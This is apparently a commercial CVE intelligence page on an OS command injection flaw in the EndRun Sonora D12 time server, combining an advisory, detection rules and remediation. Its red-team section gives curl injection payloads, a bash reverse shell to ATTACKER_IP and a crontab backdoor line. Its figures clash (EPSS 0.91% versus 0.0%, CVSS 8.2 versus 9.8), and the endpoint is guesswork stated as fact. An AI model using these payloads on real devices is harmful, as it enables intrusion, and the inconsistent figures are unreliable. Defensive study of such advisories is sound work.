☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-60960

CVE-2025-60960 OS Command Injection in Endrun technologies
📅 PUBLISHED: 2025-10-06 00:00 UTC 🔄 UPDATED: 2026-10-02 19:27 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.91%
👁️
0.91% probability
22.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-60960 is a critical OS Command Injection vulnerability discovered in the EndRun Technologies Sonora D12 Network Time Server (GPS) running firmware version 6010-0071-000 Ver 4.00. The flaw allows an unauthenticated attacker to inject arbitrary operating system commands through a vulnerable input field, leading to full remote code execution, denial of service, privilege escalation, and information disclosure. The vulnerability resides in the web management interface or a network-facing service that fails to sanitize user-supplied input before passing it to a system shell. As of this report, no official patch has been released, and no public proof-of-concept code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity remains high due to the device’s critical role in time synchronization for industrial and enterprise networks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). The affected component is a proprietary embedded firmware for a hardware appliance. Supply chain risk is limited to the physical device and its firmware distribution channels.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and typical characteristics of OS command injection in network appliances, the following is a reasonable assessment:

  • Attack Vector (AV): Network (N) – exploitable remotely.
  • Attack Complexity (AC): Low (L) – no special conditions required.
  • Privileges Required (PR): None (N) – no authentication needed.
  • User Interaction (UI): None (N) – no user action required.
  • Scope (S): Unchanged (U) – vulnerable component only.
  • Confidentiality (C): High (H) – full system access.
  • Integrity (I): High (H) – arbitrary command execution.
  • Availability (A): High (H) – can cause denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – immediate action required to isolate or upgrade affected devices.

Deep Dive & Mechanics

The Sonora D12 is a GPS-disciplined network time server used for precise time synchronization in critical infrastructure, data centers, and industrial control systems. The vulnerability likely exists in the web-based administration interface or a diagnostic endpoint that accepts user input (e.g., IP address, hostname, or command parameters) and passes it unsanitized to a system shell function such as system(), exec(), or popen().

Attack Vector: An attacker sends a specially crafted HTTP request to the device’s management interface. The request contains a payload with shell metacharacters (e.g., ;, |, &&, `) appended to a legitimate parameter. The server executes the injected command with the privileges of the web server process, typically root or a high-privilege user.

Example vulnerable parameter:
/cgi-bin/diagnostics?cmd=ping&host=192.168.1.1;id

Impact:

  • Arbitrary Code Execution: Full control over the device.
  • Denial of Service: Crash or brick the device.
  • Privilege Escalation: Gain root access.
  • Information Disclosure: Read sensitive files (e.g., /etc/shadow, configuration files, GPS data).

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common OS command injection patterns.

Vulnerable Code (C/C++ or shell script):

void handle_ping(char *host) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping -c 4 %s", host);
    system(cmd);  // Unsafe: host not sanitized
}

Patched Code (hypothetical):

void handle_ping(char *host) {
    // Validate input: only allow IP addresses or hostnames
    if (!is_valid_hostname(host) && !is_valid_ip(host)) {
        return_error("Invalid host");
        return;
    }
    // Use execve with sanitized arguments
    char *args[] = {"ping", "-c", "4", host, NULL};
    execve("/bin/ping", args, NULL);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A Sonora D12 device with firmware 6010-0071-000 Ver 4.00 (or emulated environment).
  • Network access to the management interface (default HTTP/HTTPS ports).

Exploitation Steps:

  1. Reconnaissance:
    Scan for the device using Shodan or Nmap:

    nmap -p 80,443,123 --script http-title <target>
    
  2. Identify Vulnerable Endpoint:
    Use a web fuzzer to discover CGI scripts or API endpoints:

    ffuf -u http://<target>/FUZZ -w /usr/share/wordlists/dirb/common.txt
    
  3. Craft Payload:
    Inject a command via a parameter (e.g., host):

    curl "http://<target>/cgi-bin/diagnostics?cmd=ping&host=127.0.0.1;id"
    
  4. Execute Reverse Shell:

    curl "http://<target>/cgi-bin/diagnostics?cmd=ping&host=127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
    
  5. Post-Exploitation:

    • Dump configuration files: cat /etc/config/ntp.conf
    • Extract GPS data: cat /dev/ttyS0
    • Install persistence: echo "*/5 * * * * root /tmp/backdoor" >> /etc/crontab

Blue Team (Defensive)

Detection & Response:

  1. Network Monitoring:

    • Alert on HTTP requests containing shell metacharacters (;, |, &&, `) in URI parameters.
    • Monitor for outbound connections from the NTP server to unusual IPs/ports.
  2. Host-Based Detection:

    • Monitor process execution for ping, bash, or other shells spawned by the web server.
    • Check for unauthorized cron jobs or modified system binaries.
  3. Mitigation Steps:

    • Isolate the device on a separate VLAN with strict firewall rules.
    • Disable the web management interface if not required.
    • Apply input validation at the network perimeter (WAF).

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests containing ;, |, &&, ` in parameters.
  • Outbound connections from the NTP server to unknown IPs on ports 4444, 8080, or 31337.
  • Unusual DNS queries from the device.

Host IOCs:

  • Unexpected processes: bash, sh, nc, python, perl.
  • Modified files in /tmp, /var/run, or /etc/cron*.
  • New user accounts or SSH keys in /root/.ssh/authorized_keys.

File IOCs:

  • /tmp/.backdoor
  • /etc/cron.d/evil
  • /var/log/messages containing shell commands.

Detection Engineering

YARA Rule

rule CVE_2025_60960_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts against EndRun Sonora D12"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60960"
    strings:
        $cmd1 = "ping" ascii wide nocase
        $cmd2 = "traceroute" ascii wide nocase
        $cmd3 = "nslookup" ascii wide nocase
        $shell1 = ";" ascii
        $shell2 = "|" ascii
        $shell3 = "&&" ascii
        $shell4 = "`" ascii
    condition:
        any of ($cmd*) and any of ($shell*)
}

Sigma Rule

title: CVE-2025-60960 OS Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with shell metacharacters targeting EndRun Sonora D12
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
        c-uri|contains:
            - 'ping'
            - 'traceroute'
            - 'nslookup'
    condition: selection
falsepositives:
    - Legitimate use of parameters with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60960 OS Command Injection Attempt"; flow:to_server; content:"/cgi-bin/diagnostics"; http_uri; content:";"; http_uri; content:"|"; http_uri; content:"&&"; http_uri; content:"`"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the affected device from untrusted networks (e.g., place behind a firewall with strict ACLs).
  2. Disable the web management interface if not required for operations.
  3. Monitor logs for exploitation attempts using the provided detection rules.

Long-Term Fixes:

  • Contact EndRun Technologies for an official patch or firmware update.
  • If no patch is available, consider replacing the device with a patched alternative.
  • Implement network segmentation to limit exposure of critical infrastructure devices.

Compensating Controls:

  • Deploy a Web Application Firewall (WAF) to block command injection payloads.
  • Use an IDS/IPS with custom signatures (e.g., Suricata rule above).
  • Enforce strict input validation at the network perimeter.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-60960

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-60960/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.